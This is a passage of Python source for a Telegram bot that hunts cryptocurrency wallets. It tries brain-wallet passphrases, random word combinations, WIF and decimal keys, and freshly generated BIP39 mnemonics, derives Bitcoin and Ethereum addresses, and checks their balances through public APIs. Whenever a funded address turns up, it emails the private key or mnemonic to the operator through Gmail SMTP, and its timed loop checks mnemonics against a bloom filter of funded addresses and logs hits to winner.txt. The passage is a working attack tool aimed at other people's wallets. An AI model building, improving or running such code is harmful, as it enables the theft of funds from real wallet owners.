๐Ÿ’ต Transactions ๐Ÿ’ต {txs2}{n}{n} โ‚ฟitcoin Address = {addressinfo3} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance3} BTC {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived3} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent3} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs3}{n}{n} Ethereum Address = {addressinfo4} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance4} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs4}")) if txs4 > 0: nonTokenTxs = (resload4['nonTokenTxs']) tokens = (resload4['tokens']) bot.send_message(message.chat.id, f"Number of Tokens = {nonTokenTxs}") print('Number of Tokens:[green][' + str(nonTokenTxs) + '][/green]') print('[purple]Tokens >> [ [/purple]', tokens, '[purple]][/purple]') tokeninfo = str(tokens) if len(tokeninfo) > 4096: for x in range(0, len(tokeninfo), 4096): bot.send_message(message.chat.id, tokeninfo[x:x+4096]) else: bot.send_message(message.chat.id, tokeninfo)# if float(balance) > 0 or float(balance1) > 0 or float(balance2) > 0 or float(balance3) > 0 or float(balance4) > 0: sent_from = gmail_user to = ['youremail@gmail.com'] subject = 'OMG Super Important Message' body = f" DEC Entered >> {n}{dec} bits {length}{n}{n} HEX Returned >> {n} {HEX}{n}{n} WIF Compressed >> {n}{wifc}{n}{n} WIF Uncompressed >> {n}{wifu}{n}{n} Bitcoin Address = {addressinfo} {n}{n} Balance {balance} BTC {n} TotalReceived {totalReceived} {n} TotalSent {totalSent} {n} Transactions {txs} {n}{n} Bitcoin Address = {addressinfo1} {n}{n} Balance {balance1} BTC {n} TotalReceived {totalReceived1} {n} TotalSent {totalSent1} {n} Transactions {txs1}{n}{n} Bitcoin Address = {addressinfo2} {n}{n} Balance {balance2} BTC {n} TotalReceived {totalReceived2} {n} TotalSent {totalSent2} {n} Transactions {txs2}{n}{n} Bitcoin Address = {addressinfo3} {n}{n} Balance {balance3} BTC {n} TotalReceived {totalReceived3} {n} TotalSent {totalSent3} {n} Transactions {txs3}{n}{n} Ethereum Address = {addressinfo4} {n}{n} Balance {balance4} {n} Transactions {txs4}" email_text = """\ From: %s To: %s Subject: %s %s """ % (sent_from, ", ".join(to), subject, body) try: server = smtplib.SMTP_SSL('smtp.gmail.com', 465) server.ehlo() server.login(gmail_user, gmail_password) server.sendmail(sent_from, to, email_text) server.close() print ('Email sent!') except: print('Something went wrong...') except ValueError: bot.send_message(message.chat.id, "โš ๏ธโ›” Invalid DEC Something Has Gone Wrong โš ๏ธโ›”") print('[red]Invalid DEC Something Has Gone Wrong[/red]') else: bot.send_message(message.chat.id, "๐Ÿšซ Invalid DEC Something Has Gone Wrong ๐Ÿคช Send in text format") start(message) def get_BRAIN(message): if message.text=="๐Ÿ”™Back": start(message) if message.content_type == "text": passphrase = message.text wallet = BrainWallet() private_key, addr = wallet.generate_address_from_passphrase(passphrase) contents = requests.get("https://btcbook.guarda.co/api/v2/address/" + addr) if contents.status_code==200: res = contents.json() balance = (res['balance']) totalReceived = (res['totalReceived']) totalSent = (res['totalSent']) txs = (res['txs']) addressinfo = (res['address']) n = "\n" bot.send_message(message.chat.id, f" ๐Ÿง  BrainWallet Entered ๐Ÿคฏ{n}{n} {passphrase} {n}{n} ๐Ÿ•ต๏ธ Private Key In HEX ๐Ÿ•ต๏ธ {n} {private_key} {n}{n} ๐Ÿ‘‡ โ‚ฟitcoin Adress ๐Ÿ‘‡{n} {addressinfo} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance} BTC {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs}") print('\nPassphrase = ',passphrase) print('Private Key = ',private_key) print('[purple] Bitcoin Address >> [ [/purple]', addressinfo, '[purple]][/purple]') print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance) + '][/green] totalReceived: [green][' + str(totalReceived) + '][/green] totalSent:[green][' + str(totalSent) + '][/green] txs :[green][' + str(txs) + '][/green]') if float(balance) > 0: sent_from = gmail_user to = ['youremail@gmail.com'] subject = 'OMG Super Important Message' body = f" BrainWallet Entered {n}{n} {passphrase} {n}{n} Private Key In HEX {n} {private_key} {n}{n} Bitcoin Adress {n} {addressinfo} {n}{n} Balance {balance} BTC {n} TotalReceived {totalReceived} {n} TotalSent {totalSent} {n} Transactions {txs}" email_text = """\ From: %s To: %s Subject: %s %s """ % (sent_from, ", ".join(to), subject, body) try: server = smtplib.SMTP_SSL('smtp.gmail.com', 465) server.ehlo() server.login(gmail_user, gmail_password) server.sendmail(sent_from, to, email_text) server.close() print ('Email sent!') except: print('Something went wrong...') else: bot.send_message(message.chat.id, "๐Ÿคฏ๐Ÿง Something Has Gone Wrong with your Brain๐Ÿง ๐Ÿคฏ") print('[red]Something Has Gone Wrong with your Brain[/red]') else: bot.send_message(message.chat.id, "๐Ÿคฏ๐Ÿง Something Has Gone Wrong with your Brain๐Ÿง ๐Ÿคฏ Send in text format") start(message) def get_BRAIN_RANDOM(message): if message.text=="๐Ÿ”™Back": start(message) else: if message.text=="1-3 Words": passphrase = ' '.join(random.sample(mylist, random.randint(1,3))) if message.text=="3-6 Words": passphrase = ' '.join(random.sample(mylist, random.randint(3,6))) if message.text=="6-9 Words": passphrase = ' '.join(random.sample(mylist, random.randint(6,9))) if message.text=="9-12 Words": passphrase = ' '.join(random.sample(mylist, random.randint(9,12))) if message.text=="12-15 Words": passphrase = ' '.join(random.sample(mylist, random.randint(12,15))) if message.text=="15-18 Words": passphrase = ' '.join(random.sample(mylist, random.randint(15,18))) if message.text=="18-21 Words": passphrase = ' '.join(random.sample(mylist, random.randint(18,21))) if message.text=="21-24 Words": passphrase = ' '.join(random.sample(mylist, random.randint(21,24))) if message.text=="24-50 Words": passphrase = ' '.join(random.sample(mylist, random.randint(24,50))) wallet = BrainWallet() private_key, addr = wallet.generate_address_from_passphrase(passphrase) contents = requests.get("https://btcbook.guarda.co/api/v2/address/" + addr) if contents.status_code==200: res = contents.json() balance = (res['balance']) totalReceived = (res['totalReceived']) totalSent = (res['totalSent']) txs = (res['txs']) addressinfo = (res['address']) n = "\n" bot.send_message(message.chat.id, f" ๐Ÿง  BrainWallet Entered ๐Ÿคฏ{n}{n} {passphrase} {n}{n} ๐Ÿ•ต๏ธ Private Key In HEX ๐Ÿ•ต๏ธ {n} {private_key} {n}{n} ๐Ÿ‘‡ โ‚ฟitcoin Adress ๐Ÿ‘‡{n} {addressinfo} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance} BTC {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs}") print('\nPassphrase = ',passphrase) print('Private Key = ',private_key) print('[purple] Bitcoin Address >> [ [/purple]', addressinfo, '[purple]][/purple]') print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance) + '][/green] totalReceived: [green][' + str(totalReceived) + '][/green] totalSent:[green][' + str(totalSent) + '][/green] txs :[green][' + str(txs) + '][/green]') if float(balance) > 0: sent_from = gmail_user to = ['youremail@gmail.com'] subject = 'OMG Super Important Message' body = f" BrainWallet Entered {n}{n} {passphrase} {n}{n} Private Key In HEX {n} {private_key} {n}{n} Bitcoin Adress {n} {addressinfo} {n}{n} Balance {balance} BTC {n} TotalReceived {totalReceived} {n} TotalSent {totalSent} {n} Transactions {txs}" email_text = """\ From: %s To: %s Subject: %s %s """ % (sent_from, ", ".join(to), subject, body) try: server = smtplib.SMTP_SSL('smtp.gmail.com', 465) server.ehlo() server.login(gmail_user, gmail_password) server.sendmail(sent_from, to, email_text) server.close() print ('Email sent!') except: print('Something went wrong...') else: bot.send_message(message.chat.id, "๐Ÿคฏ๐Ÿง Something Has Gone Wrong with your Brain๐Ÿง ๐Ÿคฏ") print('[red]Something Has Gone Wrong with your Brain[/red]') start(message) def get_WIF(message): if message.text=="๐Ÿ”™Back": start(message) else: WIF = message.text if WIF.startswith('5H') or WIF.startswith('5J') or WIF.startswith('5K') or WIF.startswith('K') or WIF.startswith('L'): if WIF.startswith('5H') or WIF.startswith('5J') or WIF.startswith('5K'): first_encode = base58.b58decode(WIF) private_key_full = binascii.hexlify(first_encode) private_key = private_key_full[2:-8] private_key_hex = private_key.decode("utf-8") dec = int(private_key_hex,16) elif WIF.startswith('K') or WIF.startswith('L'): first_encode = base58.b58decode(WIF) private_key_full = binascii.hexlify(first_encode) private_key = private_key_full[2:-8] private_key_hex = private_key.decode("utf-8") dec = int(private_key_hex[0:64],16) HEX = "%064x" % dec wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) uaddr = ice.privatekey_to_address(0, False, dec) caddr = ice.privatekey_to_address(0, True, dec) p2sh = ice.privatekey_to_address(1, True, dec) #p2sh bech32 = ice.privatekey_to_address(2, True, dec) #bech32 ethaddr = ice.privatekey_to_ETH_address(dec) length = len(bin(dec)) length -=2 print('\nDecimal = ',dec, ' bits ', length, '\n Hexadecimal = ', HEX) resload = get_balance(caddr) info = str(resload) balance = (resload['balance']) totalReceived = (resload['totalReceived']) totalSent = (resload['totalSent']) txs = (resload['txs']) addressinfo = (resload['address']) resload1 = get_balance1(uaddr) info1 = str(resload1) balance1 = (resload1['balance']) totalReceived1 = (resload1['totalReceived']) totalSent1 = (resload1['totalSent']) txs1 = (resload1['txs']) addressinfo1 = (resload1['address']) resload2 = get_balance2(p2sh) info2 = str(resload2) balance2 = (resload2['balance']) totalReceived2 = (resload2['totalReceived']) totalSent2 = (resload2['totalSent']) txs2 = (resload2['txs']) addressinfo2 = (resload2['address']) resload3 = get_balance3(bech32) info3 = str(resload3) balance3 = (resload3['balance']) totalReceived3 = (resload3['totalReceived']) totalSent3 = (resload3['totalSent']) txs3 = (resload3['txs']) addressinfo3 = (resload3['address']) resload4 = get_balance4(ethaddr) info4 = str(resload4) balance4 = (resload4['balance']) txs4 = (resload4['txs']) addressinfo4 = (resload4['address']) n = "\n" print('[purple] WIF Entered >> [ [/purple]', WIF, '[purple]][/purple]') print('[purple] HEX Returned >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] DEC Returned >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('BTC Address : ', addressinfo) print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance) + '][/green] totalReceived: [green][' + str(totalReceived) + '][/green] totalSent:[green][' + str(totalSent) + '][/green] txs :[green][' + str(txs) + '][/green]') print('BTC Address : ', addressinfo1) print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance1) + '][/green] totalReceived: [green][' + str(totalReceived1) + '][/green] totalSent:[green][' + str(totalSent1) + '][/green] txs :[green][' + str(txs1) + '][/green]') print('BTC Address : ', addressinfo2) print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance2) + '][/green] totalReceived: [green][' + str(totalReceived2) + '][/green] totalSent:[green][' + str(totalSent2) + '][/green] txs :[green][' + str(txs2) + '][/green]') print('BTC Address : ', addressinfo3) print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance3) + '][/green] totalReceived: [green][' + str(totalReceived3) + '][/green] totalSent:[green][' + str(totalSent3) + '][/green] txs :[green][' + str(txs3) + '][/green]') print('ETH Address : ', addressinfo4) print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance4) + '][/green] Transactions: [green][' + str(txs4) + '][/green]') bot.send_message(message.chat.id, (f" ๐Ÿ”ฅ WIF Entered >> ๐Ÿ”ฅ {n}{WIF} {n}{n}๐Ÿ”จ HEX Returned >> ๐Ÿ”จ{n}{HEX} {n}{n}โ›๏ธ DEC Returned >> โ›๏ธ {n}{dec} bits {length} {n}{n}๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ{wifc} {n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu} {n}{n} โ‚ฟitcoin Address = {addressinfo} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance} BTC {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs} {n}{n} โ‚ฟitcoin Address = {addressinfo1} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance1} BTC {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived1} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent1} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs1} {n}{n} โ‚ฟitcoin Address = {addressinfo2} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance2} BTC {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived2} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent2} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs2}{n}{n} โ‚ฟitcoin Address = {addressinfo3} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance3} BTC {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived3} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent3} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs3}{n}{n} Ethereum Address = {addressinfo4} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance4} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs4}")) if float(balance) > 0 or float(balance1) > 0 or float(balance2) > 0 or float(balance3) > 0 or float(balance4) > 0: sent_from = gmail_user to = ['youremail@gmail.com'] subject = 'OMG Super Important Message' body = f" WIF Entered >> {n}{WIF} {n}{n} HEX Returned >> {n}{HEX} {n}{n} DEC Returned >> {n}{dec} bits {length} {n}{n} WIF Compressed >> {wifc} {n}{n} WIF Uncompressed >> {n}{wifu} {n}{n} Bitcoin Address = {addressinfo} {n}{n} Balance {balance} BTC {n} TotalReceived {totalReceived} {n} TotalSent {totalSent} {n} Transactions {txs} {n}{n} Bitcoin Address = {addressinfo1} {n}{n} Balance {balance1} BTC {n} TotalReceived {totalReceived1} {n} TotalSent {totalSent1} {n} Transactions {txs1} {n}{n} Bitcoin Address = {addressinfo2} {n}{n} Balance {balance2} BTC {n} TotalReceived {totalReceived2} {n} TotalSent {totalSent2} {n} Transactions {txs2}{n}{n} Bitcoin Address = {addressinfo3} {n}{n} Balance {balance3} BTC {n} TotalReceived {totalReceived3} {n} TotalSent {totalSent3} {n} Transactions {txs3}{n}{n} Ethereum Address = {addressinfo4} {n}{n} Balance {balance4} {n} Transactions {txs4}" email_text = """\ From: %s To: %s Subject: %s %s """ % (sent_from, ", ".join(to), subject, body) try: server = smtplib.SMTP_SSL('smtp.gmail.com', 465) server.ehlo() server.login(gmail_user, gmail_password) server.sendmail(sent_from, to, email_text) server.close() print ('Email sent!') except: print('Something went wrong...') else: bot.send_message(message.chat.id, "โš ๏ธโ›” Invalid WIF Try Again โ›”โš ๏ธ") print('[red]Invalid WIF Try Again[/red]') start(message) def get_WORDS(message): if message.text=="๐Ÿ”™Back": start(message) else: derivation_total_path_to_check = 1 n = "\n" if message.text=="โœจ12 Word ๏ธMnenomicโœจ": mnem = create_valid_mnemonics(strength=128) seed = mnem_to_seed(mnem) pvk = bip39seed_to_private_key(seed, derivation_total_path_to_check) pvk2 = bip39seed_to_private_key2(seed, derivation_total_path_to_check) pvk3 = bip39seed_to_private_key3(seed, derivation_total_path_to_check) pvk4 = bip39seed_to_private_key4(seed, derivation_total_path_to_check) caddr = ice.privatekey_to_address(0, True, (int.from_bytes(pvk, "big"))) p2sh = ice.privatekey_to_address(1, True, (int.from_bytes(pvk2, "big"))) bech32 = ice.privatekey_to_address(2, True, (int.from_bytes(pvk3, "big"))) ethaddr = ice.privatekey_to_ETH_address(int.from_bytes(pvk4, "big")) resload = get_balance(caddr) info = str(resload) balance = (resload['balance']) totalReceived = (resload['totalReceived']) totalSent = (resload['totalSent']) txs = (resload['txs']) addressinfo = (resload['address']) resload2 = get_balance2(p2sh) info2 = str(resload2) balance2 = (resload2['balance']) totalReceived2 = (resload2['totalReceived']) totalSent2 = (resload2['totalSent']) txs2 = (resload2['txs']) addressinfo2 = (resload2['address']) resload3 = get_balance3(bech32) info3 = str(resload3) balance3 = (resload3['balance']) totalReceived3 = (resload3['totalReceived']) totalSent3 = (resload3['totalSent']) txs3 = (resload3['txs']) addressinfo3 = (resload3['address']) resload4 = get_balance4(ethaddr) info4 = str(resload4) balance4 = (resload4['balance']) txs4 = (resload4['txs']) addressinfo4 = (resload4['address']) print('[purple] Mnemonics Words 12 (English) >> [ [/purple]', mnem, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') print('BTC Address : ', addressinfo) print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance) + '][/green] totalReceived: [green][' + str(totalReceived) + '][/green] totalSent:[green][' + str(totalSent) + '][/green] txs :[green][' + str(txs) + '][/green]') print('BTC Address : ', addressinfo2) print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance2) + '][/green] totalReceived: [green][' + str(totalReceived2) + '][/green] totalSent:[green][' + str(totalSent2) + '][/green] txs :[green][' + str(txs2) + '][/green]') print('BTC Address : ', addressinfo3) print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance3) + '][/green] totalReceived: [green][' + str(totalReceived3) + '][/green] totalSent:[green][' + str(totalSent3) + '][/green] txs :[green][' + str(txs3) + '][/green]') print('ETH Address : ', addressinfo4) print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance4) + '][/green] Transactions: [green][' + str(txs4) + '][/green]') bot.send_message(message.chat.id, (f" Mnemonics Words 12 (English) >> {n} {mnem} {n}{n} โ‚ฟitcoin Address = {addressinfo} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance} BTC {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs} {n}{n} โ‚ฟitcoin Address = {addressinfo2} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance2} BTC {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived2} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent2} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs2}{n}{n} โ‚ฟitcoin Address = {addressinfo3} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance3} BTC {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived3} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent3} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs3}{n}{n} Ethereum Address = {addressinfo4} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance4} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs4}")) if txs4 > 0: nonTokenTxs = (resload4['nonTokenTxs']) tokens = (resload4['tokens']) bot.send_message(message.chat.id, f"Number of Tokens = {nonTokenTxs}") print('Number of Tokens:[green][' + str(nonTokenTxs) + '][/green]') print('[purple]Tokens >> [ [/purple]', tokens, '[purple]][/purple]') tokeninfo = str(tokens) if len(tokeninfo) > 4096: for x in range(0, len(tokeninfo), 4096): bot.send_message(message.chat.id, tokeninfo[x:x+4096]) else: bot.send_message(message.chat.id, tokeninfo) if float(balance) > 0 or float(balance2) > 0 or float(balance3) > 0 or float(balance4) > 0: sent_from = gmail_user to = ['youremail@gmail.com'] subject = 'OMG Super Important Message' body = f" Mnemonics Words 12 (English) >> {n} {mnem} {n}{n} Bitcoin Address = {addressinfo} {n}{n} Balance {balance} BTC {n} TotalReceived {totalReceived} {n} TotalSent {totalSent} {n} Transactions {txs} {n}{n} Bitcoin Address = {addressinfo2} {n}{n} Balance {balance2} BTC {n} TotalReceived {totalReceived2} {n} TotalSent {totalSent2} {n} Transactions {txs2}{n}{n} Bitcoin Address = {addressinfo3} {n}{n} Balance {balance3} BTC {n} TotalReceived {totalReceived3} {n} TotalSent {totalSent3} {n} Transactions {txs3}{n}{n} Ethereum Address = {addressinfo4} {n}{n} Balance {balance4} {n} Transactions {txs4}" email_text = """\ From: %s To: %s Subject: %s %s """ % (sent_from, ", ".join(to), subject, body) try: server = smtplib.SMTP_SSL('smtp.gmail.com', 465) server.ehlo() server.login(gmail_user, gmail_password) server.sendmail(sent_from, to, email_text) server.close() print ('Email sent!') except: print('Something went wrong...') elif message.text=="โœจ24 Word ๏ธMnenomicโœจ": mnem = create_valid_mnemonics(strength=256) seed = mnem_to_seed(mnem) pvk = bip39seed_to_private_key(seed, derivation_total_path_to_check) pvk2 = bip39seed_to_private_key2(seed, derivation_total_path_to_check) pvk3 = bip39seed_to_private_key3(seed, derivation_total_path_to_check) pvk4 = bip39seed_to_private_key4(seed, derivation_total_path_to_check) caddr = ice.privatekey_to_address(0, True, (int.from_bytes(pvk, "big"))) p2sh = ice.privatekey_to_address(1, True, (int.from_bytes(pvk2, "big"))) bech32 = ice.privatekey_to_address(2, True, (int.from_bytes(pvk3, "big"))) ethaddr = ice.privatekey_to_ETH_address(int.from_bytes(pvk4, "big")) resload = get_balance(caddr) info = str(resload) balance = (resload['balance']) totalReceived = (resload['totalReceived']) totalSent = (resload['totalSent']) txs = (resload['txs']) addressinfo = (resload['address']) resload2 = get_balance2(p2sh) info2 = str(resload2) balance2 = (resload2['balance']) totalReceived2 = (resload2['totalReceived']) totalSent2 = (resload2['totalSent']) txs2 = (resload2['txs']) addressinfo2 = (resload2['address']) resload3 = get_balance3(bech32) info3 = str(resload3) balance3 = (resload3['balance']) totalReceived3 = (resload3['totalReceived']) totalSent3 = (resload3['totalSent']) txs3 = (resload3['txs']) addressinfo3 = (resload3['address']) resload4 = get_balance4(ethaddr) info4 = str(resload4) balance4 = (resload4['balance']) txs4 = (resload4['txs']) addressinfo4 = (resload4['address']) print('[purple] Mnemonics 24 Words (English) >> [ [/purple]', mnem, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') print('BTC Address : ', addressinfo) print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance) + '][/green] totalReceived: [green][' + str(totalReceived) + '][/green] totalSent:[green][' + str(totalSent) + '][/green] txs :[green][' + str(txs) + '][/green]') print('BTC Address : ', addressinfo2) print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance2) + '][/green] totalReceived: [green][' + str(totalReceived2) + '][/green] totalSent:[green][' + str(totalSent2) + '][/green] txs :[green][' + str(txs2) + '][/green]') print('BTC Address : ', addressinfo3) print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance3) + '][/green] totalReceived: [green][' + str(totalReceived3) + '][/green] totalSent:[green][' + str(totalSent3) + '][/green] txs :[green][' + str(txs3) + '][/green]') print('ETH Address : ', addressinfo4) print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance4) + '][/green] Transactions: [green][' + str(txs4) + '][/green]') bot.send_message(message.chat.id, (f" Mnemonics 24 Words (English) >> {n} {mnem} {n}{n} โ‚ฟitcoin Address = {addressinfo} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance} BTC {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs} {n}{n} โ‚ฟitcoin Address = {addressinfo2} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance2} BTC {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived2} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent2} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs2}{n}{n} โ‚ฟitcoin Address = {addressinfo3} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance3} BTC {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived3} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent3} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs3}{n}{n} Ethereum Address = {addressinfo4} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance4} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs4}")) if txs4 > 0: nonTokenTxs = (resload4['nonTokenTxs']) tokens = (resload4['tokens']) bot.send_message(message.chat.id, f"Number of Tokens = {nonTokenTxs}") print('Number of Tokens:[green][' + str(nonTokenTxs) + '][/green]') print('[purple]Tokens >> [ [/purple]', tokens, '[purple]][/purple]') tokeninfo = str(tokens) if len(tokeninfo) > 4096: for x in range(0, len(tokeninfo), 4096): bot.send_message(message.chat.id, tokeninfo[x:x+4096]) else: bot.send_message(message.chat.id, tokeninfo) if float(balance) > 0 or float(balance2) > 0 or float(balance3) > 0 or float(balance4) > 0: sent_from = gmail_user to = ['youremail@gmail.com'] subject = 'OMG Super Important Message' body = f" Mnemonics 24 Words (English) >> {n} {mnem} {n}{n} Bitcoin Address = {addressinfo} {n}{n} Balance {balance} BTC {n} TotalReceived {totalReceived} {n} TotalSent {totalSent} {n} Transactions {txs} {n}{n} Bitcoin Address = {addressinfo2} {n}{n} Balance {balance2} BTC {n} TotalReceived {totalReceived2} {n} TotalSent {totalSent2} {n} Transactions {txs2}{n}{n} Bitcoin Address = {addressinfo3} {n}{n} Balance {balance3} BTC {n} TotalReceived {totalReceived3} {n} TotalSent {totalSent3} {n} Transactions {txs3}{n}{n} Ethereum Address = {addressinfo4} {n}{n} Balance {balance4} {n} Transactions {txs4}" email_text = """\ From: %s To: %s Subject: %s %s """ % (sent_from, ", ".join(to), subject, body) try: server = smtplib.SMTP_SSL('smtp.gmail.com', 465) server.ehlo() server.login(gmail_user, gmail_password) server.sendmail(sent_from, to, email_text) server.close() print ('Email sent!') except: print('Something went wrong...') else: bot.send_message(message.chat.id, "โš ๏ธโ›” Invalid WORDS Try Again โ›”โš ๏ธ") print('[red]Invalid WORDS Try Again[/red]') start(message) def get_POWER(message): if message.text=="๐Ÿ”™Back": start(message) else: count = 0 total = 0 num = 1 derivation_total_path_to_check = 1 if message.text=="1 Minutes Magic Random Words": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„1 Minutes Magic Random Words ๐Ÿช„")) print('[yellow]\n---------------------1 Minutes Magic Random Words---------------------------------[/yellow]') print(ICEWORDS) print('[yellow]\n---------------------1 Minutes Magic Random Words---------------------------------[/yellow]') t_end = time.time() + 60 * 1 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: finish= 0 count += 1 total += 4 lenght= ('128','256') rnds = random.choice(lenght) mnem = create_valid_mnemonics(strength=int(rnds)) seed = mnem_to_seed(mnem) pvk = bip39seed_to_private_key(seed, derivation_total_path_to_check) pvk2 = bip39seed_to_private_key2(seed, derivation_total_path_to_check) pvk3 = bip39seed_to_private_key3(seed, derivation_total_path_to_check) pvk4 = bip39seed_to_private_key4(seed, derivation_total_path_to_check) caddr = ice.privatekey_to_address(0, True, (int.from_bytes(pvk, "big"))) p2sh = ice.privatekey_to_address(1, True, (int.from_bytes(pvk2, "big"))) bech32 = ice.privatekey_to_address(2, True, (int.from_bytes(pvk3, "big"))) ethaddr = ice.privatekey_to_ETH_address(int.from_bytes(pvk4, "big")) if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Mnemonics [/purple]',rnds, '[purple] Words (English) >> [ [/purple]', mnem, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nMnemonics: ' + mnem) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic ETH Address : ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} 